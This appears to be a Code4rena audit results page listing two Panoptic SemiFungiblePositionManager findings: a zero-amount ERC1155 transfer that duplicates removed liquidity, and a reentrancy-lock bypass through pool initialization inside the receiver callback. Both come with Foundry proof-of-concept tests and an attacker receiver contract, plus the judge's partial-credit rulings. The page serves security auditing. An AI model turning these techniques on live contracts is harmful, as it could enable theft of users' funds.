Platform: Code4rena
Start Date: 27/11/2023
Pot Size: $60,500 USDC
Total HM: 7
Participants: 72
Period: 7 days
Judge: Picodes
Total Solo HM: 2
Id: 309
League: ETH
Rank: 9/72
Findings: 2
Award: $1,496.38
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: osmanozdemir1
Also found by: 0xDING99YA, 0xloscar01, KupiaSec, SpicyMeatball, ether_sky, fnanni, hash, minhtrng
555.553 USDC - $555.55
SFPM contract allows creation and transaction of complex Uniswap V3 positions. One of it's features is the storing of the position liquidity in s_accountLiquidity[positionKey]
, where positionKey
is keccak256 encoded parameters (ticks, token, pool). It is a uint256 value that is split in two uint128's, left part is removedLiquidity
(liquidity that was used for buys e.g. removed from AMM), right part is startingLiquidity
(liquidity that was sold e.g. added to AMM).
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L621-L630
Depending on the order, long or short, we update this two parts, for example if seller creates a short order with X liquidity he adds X to AMM pool and we add this value to the right part
if (isLong == 0) { // selling/short: so move from msg.sender *to* uniswap // we're minting more liquidity in uniswap: so add the incoming liquidity chunk to the existing liquidity chunk updatedLiquidity = startingLiquidity + chunkLiquidity;
if buyer buys this position we subtract from startingLiquidity
and add the same value to the removedLiquidity
} else { // we want to move less than what already sits in uniswap, no problem: updatedLiquidity = startingLiquidity - chunkLiquidity; } /// @dev If the isLong flag is 1=long and the position is minted, then this is opening a long position /// @dev so the amount of short liquidity should increase. if (!_isBurn) { removedLiquidity += chunkLiquidity; }
Imagine a situation where the user minted a long position with all available liquidity X, making removedLiquidity = X
, startingLiquidity = 0
, he will be able to transfer removedLiquidity
to another account without transfering any SFPM tokens. There is a condition in transfer hook that checks sender liquidity and reverts on partial transfers
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L621-L630
uint256 fromLiq = s_accountLiquidity[positionKey_from]; if (fromLiq.rightSlot() != liquidityChunk.liquidity()) revert Errors.TransferFailed();
but that doesn't apply to removedLiquidity
and since the right slot is zero we can send 0 tokens, in the same hook we clone sender's position to the recipient mappings
s_accountLiquidity[positionKey_to] = fromLiq; s_accountLiquidity[positionKey_from] = 0; s_accountFeesBase[positionKey_to] = fromBase; s_accountFeesBase[positionKey_from] = 0;
As for the sender his s_accountLiquidity
is zeroed.
if (isLong == 0) { // selling/short: so move from msg.sender *to* uniswap // we're minting more liquidity in uniswap: so add the incoming liquidity chunk to the existing liquidity chunk updatedLiquidity = startingLiquidity + chunkLiquidity; /// @dev If the isLong flag is 0=short but the position was burnt, then this is closing a long position /// @dev so the amount of short liquidity should decrease. if (_isBurn) { removedLiquidity -= chunkLiquidity; }
As a result the sender will copy his position to another account while maintaining his SFPM tokens balance.
Check this SemiFungiblePositionManager.t.sol test case
function testTransferRemovedLiquidity() public { _initPool(0); (int24 width, int24 strike) = PositionUtils.getOutOfRangeSW( 0, 0, uint24(tickSpacing), currentTick ); populatePositionData(width, strike, 10e18); uint256 tokenIdShort = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 0, 1, 0, strike, width); uint256 tokenIdLong = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 1, 1, 0, strike, width); vm.startPrank(Alice); sfpm.mintTokenizedPosition(tokenIdShort, uint128(10e18), TickMath.MIN_TICK, TickMath.MAX_TICK); sfpm.mintTokenizedPosition(tokenIdLong, uint128(10e18), TickMath.MIN_TICK, TickMath.MAX_TICK); sfpm.safeTransferFrom(Alice, Bob, tokenIdLong, 0, ""); uint256 accountLiquidities = sfpm.getAccountLiquidity( address(pool), Alice, 1, tickLower, tickUpper ); console.log("ALICE SFPM BALANCE: ", sfpm.balanceOf(Alice, tokenIdLong)); console.log("ALICE REMOVED LIQ: ", accountLiquidities.leftSlot()); console.log("ALICE NET LIQ: ", accountLiquidities.rightSlot()); accountLiquidities = sfpm.getAccountLiquidity( address(pool), Bob, 1, tickLower, tickUpper ); console.log("BOB SFPM BALANCE: ", sfpm.balanceOf(Bob, tokenIdLong)); console.log("BOB REMOVED LIQ: ", accountLiquidities.leftSlot()); console.log("BOB NET LIQ: ", accountLiquidities.rightSlot()); }
Foundry
We should restrict zero amount ERC1155 transfers, this will also be in accordance with the EIP-1155 standard where such transfer are not allowed.
Other
#0 - c4-judge
2023-12-14T16:12:04Z
Picodes marked the issue as duplicate of #356
#1 - c4-judge
2023-12-23T10:14:49Z
Picodes marked the issue as duplicate of #256
#2 - c4-judge
2023-12-26T22:42:33Z
Picodes changed the severity to 3 (High Risk)
#3 - c4-judge
2023-12-26T22:45:22Z
Picodes marked the issue as satisfactory
#4 - Picodes
2024-01-03T11:23:46Z
The described impact is not of high severity so giving partial credit
#5 - c4-judge
2024-01-03T11:23:51Z
Picodes marked the issue as partial-50
🌟 Selected for report: tapir
Also found by: SpicyMeatball, hash
940.8339 USDC - $940.83
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L483 https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L517 https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L375-L378
SFPM contract has 2 state altering functions that are available to users:
They allow users to burn and mint ERC1155 tokens, both of them are protected by reentrancy guard that checks if mint/burn function for the specified poolId is in use
modifier ReentrancyLock(uint64 poolId) { // check if the pool is already locked // init lock if not beginReentrancyLock(poolId); // execute function _; // remove lock endReentrancyLock(poolId); } /// @notice Add reentrancy lock on pool /// @dev reverts if the pool is already locked /// @param poolId The poolId of the pool to add the reentrancy lock to function beginReentrancyLock(uint64 poolId) internal { // check if the pool is already locked, if so, revert if (s_poolContext[poolId].locked) revert Errors.ReentrantCall(); // activate lock s_poolContext[poolId].locked = true; } /// @notice Remove reentrancy lock on pool /// @param poolId The poolId of the pool to remove the reentrancy lock from function endReentrancyLock(uint64 poolId) internal { // gas refund is triggered here by returning the slot to its original value s_poolContext[poolId].locked = false; }
However, this guard can be bypassed if the user is minting token for the uniswap pool that hasn't yet been initialized, this way he can initialize it, reset the guard flag, and call mint or burn again, all inside the ERC1155 receiver callback.
s_poolContext[poolId] = PoolAddressAndLock({ pool: IUniswapV3Pool(univ3pool), locked: false });
Although I was unable to exploit this bug, it still leaves room for a more experienced attacker, so I mark this finding as medium.
Check this test case for SemiFungiblePositionManager.t.sol
function testReentrancy() public { IUniswapV3Pool pool = USDC_WETH_5; token0 = pool.token0(); token1 = pool.token1(); fee = pool.fee(); poolId = PanopticMath.getPoolId(address(pool)); (currentSqrtPriceX96, currentTick, , , , , ) = pool.slot0(); (int24 width, int24 strike) = PositionUtils.getOutOfRangeSW( 0, 0, uint24(10), currentTick ); console.logInt(currentTick); console.logInt(strike); console.logInt(width); uint256 tokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 1, 0, 1, 0, strike, width); SFPMReceiver receiver = new SFPMReceiver(sfpm, IERC20(token0), IERC20(token1), fee, tokenId); deal(token0, Alice, 100000e6); deal(token1, Alice, 100e18); vm.startPrank(Alice); IERC20(token0).transfer(address(receiver), 100000e6); IERC20(token1).transfer(address(receiver), 100e18); receiver.mintSFPM(10e18); }
SFPMReceiver contract
contract SFPMReceiver { SemiFungiblePositionManager sfpm; IERC20 token0; IERC20 token1; uint24 fee; uint256 tokenId; bool reenter; constructor(SemiFungiblePositionManager _sfpm, IERC20 _token0, IERC20 _token1, uint24 _fee, uint256 _tokenId) { sfpm = _sfpm; tokenId = _tokenId; token0 = _token0; token1 = _token1; fee = _fee; token0.approve(address(sfpm), type(uint256).max); token1.approve(address(sfpm), type(uint256).max); } function mintSFPM(uint128 amount) external { reenter = true; sfpm.mintTokenizedPosition(tokenId, amount, int24(0), type(int24).max); } function onERC1155Received(address operator, address from, uint256 id, uint256 amount, bytes memory data) external returns(bytes4){ if(reenter){ reenter = false; sfpm.initializeAMMPool(address(token0), address(token1), fee); sfpm.mintTokenizedPosition(tokenId, uint128(amount), int24(0), type(int24).max); } return this.onERC1155Received.selector; } }
Foundry
Consider moving _mint
to the bottom of mintTokenizedPosition
Reentrancy
#0 - c4-judge
2023-12-14T16:19:28Z
Picodes marked the issue as duplicate of #525
#1 - Picodes
2023-12-21T18:44:31Z
This report doesn't explain why and how it could lead to a loss of funds or a Med severity impact.
#2 - c4-judge
2023-12-21T18:44:36Z
Picodes marked the issue as partial-50